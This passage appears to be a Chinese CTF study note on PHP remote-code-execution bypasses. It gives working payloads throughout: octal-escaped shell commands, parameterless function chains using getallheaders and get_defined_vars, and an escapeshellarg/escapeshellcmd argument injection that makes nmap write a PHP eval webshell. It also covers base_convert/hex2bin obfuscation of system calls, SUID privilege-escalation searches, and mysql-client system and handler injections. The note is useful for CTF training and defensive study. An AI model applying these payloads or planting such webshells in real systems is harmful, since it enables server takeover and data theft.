}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
wp
而且 system($cmd);是直接执行系统命令
那好,现在我们来尝试构造payload
首先系统命令?cmd=肯定是要的
那我们这里就在想了,既然限制我们只能输入这些
那我们普通的 ls cat 这些命令不就用不了了嘛
其实liunx命令使用八进制也能运行
就比如ls的八进制是\154\163
但不能被直接读取,如果这样的话,系统会直接默认为普通数字并不会有任何操作
我们可以利用bash的 ′ s t r i n g ′ 语法,它允许字符串中的转义序列被解释。那这里我们就可以直接写成 'string' 语法,它允许字符串中的转义序列被解释。 $'\154\163',就这样,我们尝试一下能不能在liunx里面运行
下面是php脚本
<?php
function bin2oct($str){
$s='';
foreach($str as $char){
$s.='\\'.decoct(hexdec(bin2hex($char)));
}
return $s;
}
echo '$\''.bin2oct(str_split('cat')).'\'<$\''.bin2oct(str_split('/flag')).'\'';
//$'\143\141\164'<$'\57\146\154\141\147'
无参函数RCE
参考资料:
- https://blog.csdn.net/weixin_54648419/article/details/123690383
- https://blog.csdn.net/2301_76690905/article/details/133808536
例题源码:
<?php
# @Author: h1xa
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
一般来说当我们可以控制或自己上传一个木马后,就可以进行任意命令执行,但像上面这样 /[ ^\W ]+\((?R)?\ )/
的正则过滤方式,我们不能输入任何参数,这样想绕过的话一个大的思路就是通过套娃,通过让一个函数的返回值作为另一个函数的参数,也就是这样a(b(c()));,最终达到rce的效果,下面列几种绕过方法
最常规的通解
scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)
localeconv() :返回一包含本地数字及货币格式信息的数组。(但是这里数组第一项就是‘.’,这个.的用处很大)
getcwd() :取得当前工作目录
dirname():函数返回路径中的目录部分
current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西
array_flip() :交换数组中的键和值,成功时返回交换后的数组
array_rand() :从数组中随机取出一个或多个单元
array_reverse():将数组内容反转
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
strrev():用于反转给定字符串
chdir() :函数改变当前的目录。
eval()、assert():命令执行
hightlight_file() 、show_source() 、readfile():读取文件内容
举个例子scandir('.')是返回当前目录,虽然我们无法传参,但是由于localeconv() 返回的数组第一个就是‘.’,current()取第一个值,那么current(localeconv())就能构造一个‘.’,那么以下就是一个简单的返回查看当前目录下文件的payload:
?参数=var_dump(scandir(current(localeconv())));
相当于: scandir('.');
配合读取文件函数
读取第一个和最后一个文件
var_dump(readfile(current(scandir(current(localeconv())))));
var_dump(readfile(end(scandir(current(localeconv())))));
利用 next 读取下一个文件
var_dump(readfile(
next(
scandir(current(localeconv()))
)
)
);
getallheaders
getallheaders()函数
<?php
$a=getallheaders();
var_dump($a);
output:
array (size=14)
'Sec-Gpc' => string '1' (length=1)
'Dnt' => string '1' (length=1)
'Sec-Fetch-User' => string '?1' (length=2)
'Sec-Fetch-Site' => string 'none' (length=4)
'Sec-Fetch-Mode' => string 'navigate' (length=8)
'Sec-Fetch-Dest' => string 'document' (length=8)
'Upgrade-Insecure-Requests' => string '1' (length=1)
'Cookie' => string '---------------' (length=50)
'Connection' => string 'close' (length=5)
'Accept-Encoding' => string 'gzip, deflate' (length=13)
'Accept-Language' => string 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2' (length=59)
'Accept' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' (length=85)
'User-Agent' => string 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0' (length=78)
'Host' => string 'localhost' (length=9)
本地抓包测试,与burp中内容完全相同,这里我们知道由于包的请求头信息可控,如果能够执行我们指定的请求头内容,就能实现代码执行。这里我们还需要一个函数来从请求头数组中拿到我们需要的请求头元素,并能够执行它,这里用到end,后拿var_dump把它显示出了
end()函数
?code=eval(end(getallheaders()));
burp修改:
最后添加字段: cmd: system('dir');
array_reverse()函数
get_defined_vars
get_defined_vars()
返回由所有已定义变量所组成的数组,会返回 $_GET, $_POST, $_COOKIE, $_FILES,顺序也是这样的
?code=eval(end(current(get_defined_vars())));&test=system('dir');
转义函数绕过
函数介绍:
1.escapeshellarg()函数
escapeshellarg() 对传入的字符串用一对单引号包围并且能引用或者转义任何已经存在的单引号
转义:
单引号 ('):转义为 \'。
双引号 ("):转义为 \"。
反斜杠 (\):转义为 \\。
美元符号 ($):转义为 \$。
反引号 (`):转义为 ``````。
感叹号 (!):转义为 \!。
分号 (;):转义为 \;。
大于号 (>):转义为 \>。
小于号 (<):转义为 \<。
垂直线 (|):转义为 \|。
与号 (&):转义为 \&。
空格 ( ):转义为 \ 。
总结:
Linux:对传入的字符串用一对单引号包围,将内容的'先用反斜杠转义,再添加一对单引号包围,即单引号会被转义为'\''
Windows:对传入的字符串用一对双引号包围,将内容的"%!以空格替换
例如exp:
172.17.0.2' -v -d a=1
当进行escapeshellarg()函数处理后,会先进行字符转义,变成如下
172.17.0.2\' -v -d a=1
然后添加两个单引号到转义的单引号左右,使得两部分括起来从而起到连接的作用
'172.17.0.2'\'' -v -d a=1'
2.escapeshellcmd()函数
反斜线(\)会在以下字符之前插入:
& # ; ` | * ? ~ < > ^ ( ) [ ] { } $ \ 、\x0A 和 \xFF。 ' 和 " 仅在不配对儿的时候被转义。
( 在 Windows 平台上,所有这些字符以及 %
和 !
字符前面都有一个插入符号(^
))
替换命令字符串中的单引号 (') 为反斜杠和单引号组合 (\')。
替换命令字符串中的双引号 (") 为反斜杠和双引号组合 (\")。
删除命令字符串中的换行符 (\n)。
删除命令字符串中的回车符 (\r)。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符前面都有一个插入符号(^)。
例如上面的exp再经过escapeshellcmd()后,会变成这样:
对\
以及最后那个不配对的单引号进行了转义
'172.17.0.2'\\'' -v -d a=1\'
攻击面
如果应用使用escapeshellarg -> escapeshellcmd这样的流程来处理输入是存在隐患的,mail就是个很好的例子,因为它函数内部使用了escapeshellcmd,如果开发人员仅用escapeshellarg来处理输入再传给mail那这层防御几乎是可以忽略的。
如果可以注入参数,那利用就是各种各样的了,例如 PHPMailer 和 RoundCube 中的mail和 Naigos Core 中的 curl都是很好的参数注入的例子。
例如:[BUUCTF 2018]Online Tool
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
nmap存在参数-oG
可以实现将命令和结果写入文件,我们的思路是写入一句话木马
那么就要构造语句
$nmap -T5 -sT -Pn --host-timeout 2 -F 127.0.0.1 '<?php @eval();?>' -oG hack.php
为了绕过escapeshellarg -> escapeshellcmd
我们传入
'127.0.0.1 <?php @eval();?> -oG hack.php '
传进去后变成
''127.0.0.1 <?php @eval();?> -oG hack.php ''
经过escapeshellarg函数处理
'\'127.0.0.1 <?php @eval();?> -oG hack.php \''
//在转义的单引号左右添加单引号
''\''127.0.0.1 <?php @eval();?> -oG hack.php '\'''
经过escapeshellcmd函数处理
''\\''127.0.0.1 <?php @eval();?> -oG hack.php '\\'''
执行结果会对目标\127.0.0.1
发送命令<?php @eval();?> -oG hack.php \
写入文件
最终payload
'127.0.0.1 <?php @eval($_POST["hack"]);?> -oG hack.php '
或者
' <?php @eval($_POST["hack"]);?> -oG hack.php '
base_convert构造RCE
任意进制转化,base_convert(原数据,原进制,转化后的进制)
例如十进制转十六进制:
<?php
echo base_convert(10,10,16);
//输出:a
如果我们想透过进制转化的方式构造payload字符串呢?
比如,构造system字符串
正常进制是表示不了的,因为超过十进制就会使用字母表示超过9的数字,比如a代表10,b代表11,也就是说想要表示全部字母就要按照
a=10,b=11 ... z=35,也就是36进制。例如:36进制的‘z’转换成10进制就是35。
<?php
echo base_convert("system",36,10);
//输出:1751504350
echo base_convert('1751504350',10,36);
//输出:system
我们做一个测试吧:
<?php
//base_convert(1751504350,10,36) >>system
//base_convert(17523,10,36) >>dir
eval("echo base_convert(1751504350,10,36)(base_convert(17523,10,36));");
//等效于:echo system('dir');
但是,这里还是有限制,那就是我们只能表示字母和数字,不能表示特殊字符,比如空格。
利用hex2bin就是解决这个问题了,hex2bin将十六进制转化成字符串,任何字符都可以转化
echo base_convert("hex2bin",36,10);
// 输出:37907361743
//echo base_convert("37907361743",10,36)('73797374656d');
然后利用hex2bin构造GET或者POST参数即可
例如:
echo base_convert(37907361743,10,36)(dechex(1598506324));
//输出:_GET
例题:
eval('echo'.$_GET['eval'].';');
//利用双美元符应用_GET
?eval=$a=base_convert(37907361743,10,36)(dechex(1598506324));($$a){b}(($$a){c})&b=system&c=cat /flag
//GET可以使用中括号,也可以使用大括号来包裹变量名,但是php8.0以上不行
//等效于php代码:
$a='_GET';
$_GET[b]='cat /flag';
$_GET[c]='system';
$_GET[c]($_GET[b]);
最后注意,如果转化的字符过长36进制是有精度缺失的,尽量介绍字符串长度,或者尝试到低一点的进制比如30、25等
三、提权
suid提权
SUID(Set User ID)是一种特殊权限,当用户执行具有SUID位的可执行文件时,该文件将以文件所有者的身份而不是执行者的身份运行。这允许普通用户在执行特定程序时获取特权权限。
查找具有suid权限的文件
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
例如:
利用文件提权
/bin/
下的文件实际就是我们执行的命令,可以看到有几个命令是有suid权限的(这个不同的系统不一样),我们在执行这些命令时就会有root权限,可以读取更高权限的文件。
一次ctf中遇到的提权例子:
利用/var/www/html/wc 读取/flag。由于wc没有位于/usr/bin下,所以执行时需要输入:./wc
。查看wc的帮助信息:
./wc --help
这里的 --files0-from=F
选项简单理解就是从文件中读取文件名来批量执行wc命令。比如:
printf "file1.txt\0file2.txt\0file3.txt\0" > file_list.txt
./wc --files0-from=file_list.txt
如果文件不存在则会报错,报错内容当然就是 “xxx文件不存在
” ,也就是file_list.txt文件的内容。
按照这个思路我们可以把file_list.txt
换成/flag
让他报错出/flag文件的内容
./wc --files0-from=/flag
四、实战
iscc
源码:
<?php
show_source(__FILE__);
error_reporting(0);
if (!empty($_GET['ISCC'])) {
$str = strtolower($_GET['ISCC']);
$blacklist = array("more", "tac", "fopen", "cat", "file_get_contents", "file", "readfile", "SplFileObject");
$sp_point = "iscc";
$$sp_point = "/hint";
foreach ($blacklist as $value) {
if (strpos($str, $value) || preg_match('/\bexec|\bpopen|\bstrrev|\bgetallheaders|\bescapeshellcmd|\bassert|\bpassthru|\bshell_exec|\bbin2hex| \bescapeshellarg|\bpcntl_exec|\busort|\bsystem|\bflag\.txt|\bsp_point|\brequire|\bscandir|\binclude|\bhex2bin|\$[a-zA-Z]|[#!%^&*_+=\-,\.:`|<>?~\\\\]/i', $str)) {
$str = "";
break;
}
}
echo "ISCC=".$str."<br>";
eval($str . ";");
}
可以看到正则把很多有用的函数全过滤了,而且包括反斜杠在内的特殊符号也被过滤了,伪协议是没戏了。
正则过滤:
/
\bexec|\bpopen|\bstrrev|\bgetallheaders|\bescapeshellcmd|\bassert|\bpassthru|\bshell_exec|\bbin2hex| \bescapeshellarg|\bpcntl_exec|\busort|\bsystem|
\bflag\.txt|\bsp_point|\brequire|\bscandir|\binclude|\bhex2bin|
\$[a-zA-Z]|
[#!%^&*_+=\-,\.:`|<>?~\\\\]
/
看看我们能用的符号:
; [] {} / () "" '' $ @ (空格)
有个变量值为"/hint" 可能是一个提示,可是现在的问题是读文件的函数都被过滤了。反斜杠等符号不能用,所以编码过滤也不行。
仔细观察它的过滤,我突然醒悟了,它特意做了个黑名单数组给我们,也就是 $blacklist。太好了,如果全是用正则过滤的,还真没什么办法,但是现在我们有黑名单数组呀!
直接利用这个数组,构造pyload
?ISCC=echo ${blacklist}{4}(${iscc}) //因为第5个是file_get_contents,但是数组下标要减一,所以这里是4
得到了一串字符
jMfSJLukzMsAKnsyKMe9yp19Jr
注意到题目里一直有一段提示,现在猜测可能是想告诉我们 hint里的东西被加密过
分析一下这串字符,长度为27。有大小写字母和数字。首先把md5排除了(32位),然后猜测可能是先用了rot13然后反转一次,最后再base64加密。
先用工具rot13解密一下变成了"wZsFWYhxmZfNXaflXZr9lc19We";
$a="wZsFWYhxmZfNXaflXZr9lc19We";
echo base64_decode(strrev($a));
output:
//your_key_is_flaaalg
猜测flag可能在/flaaalg里
?ISCC=echo ${blacklist}{4}('/flaaalg')
结果啥都没有,所以我也搞不动这个提示是啥意思,难道是要爆破吗?
那没办法了,只能想办法获取webshell了。
思考了半天终于试出了一个pyload:
?ISCC=eval("syste${1}m('dir');");
解释一下:
首先我的思路是执行system,但是正则过滤掉了,匹配的是单词,那我们就想一个破坏了单词结构却依然不影响执行的办法。结果就是这个${},它表示一种界定符,用来防止变量名称和字符串中的其他内容混为一体的,但是现在传入一个1,不存在这个变量,也就不会有任何效果了。(其实这个符号还可以包含一个php函数,会php会优先执行它)
为什么要嵌套一个eval呢?因为我们get进去的参数都是纯文本,相当于是单引号扩住的字符串,没办法解析${} (php8.0以上就不能用了)。
现在我们直接用ls查看flag的名字
?ISCC=eval("syste${1}m('ls /');")
好吧,这名字确实不好猜,所以我还是不懂那个提示要干什么~
?ISCC=eval("syste${1}m('head /flaaaaaaaaagggggg');")
//执行system('dir')
eval("urldecode(implode(chr(37),['','73','79','73','74','65','6d']))('dir');");
知识点:
strtr() 函数
例子:把字符串中的某些字符替换成 其他字符
<?php
//strtr(string,from,to) 把字符串中的字符 "ia" 替换成 "eo":
echo strtr("Hilla Warld","ia","eo");
//strtr(string,array) 把字符串 "Hello world" 替换成 "Hi earth":
$arr = array("Hello" => "Hi", "world" => "earth");
echo strtr("Hello world",$arr);
?>
RCE or Sql Inject
源码:
考点:mysql命令行程序的命令执行
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|;|@|del|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query="mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; --".$sql."\"";
system($query);
在mysql命令行,我们可以使用一些内置命令
输入?查看所有内置命令
? (\?) Synonym for `help'.
charset (\C) Switch to another charset. Might be needed for processing binlog with multi-byte charsets.
clear (\c) Clear the current input statement.
connect (\r) Reconnect to the server. Optional arguments are db and host.
delimiter (\d) Set statement delimiter.
edit (\e) Edit command with $EDITOR.
ego (\G) Send command to MariaDB server, display result vertically.
exit (\q) Exit mysql. Same as quit.
go (\g) Send command to MariaDB server.
help (\h) Display this help.
nopager (\n) Disable pager, print to stdout.
notee (\t) Don't write into outfile.
nowarning (\w) Don't show warnings after every statement.
pager (\P) Set PAGER [to_pager]. Print the query results via PAGER.
print (\p) Print current command.
prompt (\R) Change your mysql prompt.
quit (\q) Quit mysql.
rehash (\#) Rebuild completion hash.
sandbox (\-) Disallow commands that access the file system (except \P without an argument and \e).
source (\.) Execute an SQL script file. Takes a file name as an argument.
status (\s) Get status information from the server.
system (\!) Execute a system shell command.
tee (\T) Set outfile [to_outfile]. Append everything into given outfile.
use (\u) Use another database. Takes database name as argument.
warnings (\W) Show warnings after every statement.
其中有system命令可以执行系统指令
传入参数,用换行绕过注释,system内置命令查看环境变量env,得到flag
?sql=%0asystem env
Sql Inject or RCE
考点:handler、delimiter
源码
<?php
highlight_file(__FILE__);
$sql = $_GET['sql'];
if (preg_match('/se|ec|st|;|@|delete|into|outfile/i', $sql)) {
die("你知道的,不可能有sql注入");
}
if (preg_match('/"|\$|`|\\\\/i', $sql)) {
die("你知道的,不可能有RCE");
}
$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"";
system($query);
相比于上一个题,变化了一点过滤,防止了system的命令执行,还将del改成了delete。
从变化下手,del开头的sql关键字并不多,通过gpt了解了delimiter
这个指令
# 用于设置语句分隔符,比如以aa作为语句分隔符
delimiter aa
select 1aa # 相当于 select 1;
这样我们就可以一次执行多个sql命令了,想到多个sql命令,一般用预编译,但是这里预编译被过滤了
虽然不能用预编译,但是我们可以用 handler 读取表中的数据
?sql=%0a delimiter aa %0a handler flag open aa handler flag read next